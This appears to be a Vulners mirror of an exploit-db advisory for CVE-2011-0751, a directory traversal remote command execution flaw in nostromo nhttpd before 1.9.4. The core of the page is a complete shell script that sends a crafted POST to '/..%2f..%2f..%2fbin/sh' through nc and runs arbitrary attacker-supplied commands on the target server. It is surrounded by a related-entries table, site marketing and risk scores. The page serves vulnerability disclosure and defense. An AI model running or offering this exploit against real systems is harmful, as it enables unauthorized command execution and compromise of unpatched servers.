nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution
🗓️ 05 Mar 2011 00:00:00Reported by RedTeam Pentesting GmbHType
exploitdb🔗 www.exploit-db.com👁 37 Views
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| Exploit for Path Traversal in Nazgul Nostromo_Nhttpd | 15 Oct 201903:40 | – | githubexploit | |
| Exploit for Path Traversal in Nazgul Nostromo_Nhttpd | 1 Jan 202013:28 | – | githubexploit | |
| CVE-2011-0751 | 5 Mar 201100:00 | – | circl | |
| CVE-2011-0751 | 16 Mar 201122:00 | – | cve | |
| CVE-2011-0751 | 16 Mar 201122:00 | – | cvelist | |
| EUVD-2011-0763 | 7 Oct 202500:30 | – | euvd | |
| CVE-2011-0751 | 16 Mar 201122:55 | – | nvd | |
| nostromo nhttpd Directory Traversal Remote Command Execution Vulnerability | 21 Mar 201100:00 | – | openvas | |
| Nazgul Nostromo nhttpd < 1.9.4 RCE / Directory Traversal Vulnerability - Active Check | 21 Mar 201100:00 | – | openvas | |
| Nazgul Nostromo nhttpd < 1.9.4 Directory Traversal Vulnerability - Active Check | 22 Mar 201100:00 | – | openvas |
10
source: https://www.securityfocus.com/bid/46880/info
nostromo nhttpd is prone to a remote command-execution vulnerability because it fails to properly validate user-supplied data.
An attacker can exploit this issue to access arbitrary files and execute arbitrary commands with application-level privileges.
nostromo versions prior to 1.9.4 are affected.
#!/bin/sh
######################################
# #
# RedTeam Pentesting GmbH #
# [email protected] #
# http://www.redteam-pentesting.de #
# #
######################################
if [ $# -lt 3 ]; then
echo "Usage: $(basename $0) HOST PORT COMMAND..."
exit 2
fi
HOST="$1"
PORT="$2"
shift 2
( \
echo -n -e 'POST /..%2f..%2f..%2fbin/sh HTTP/1.0\r\n'; \
echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
echo "$@ 2>&1" \
) | nc "$HOST" "$PORT" \
| sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Dec 2014 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.03664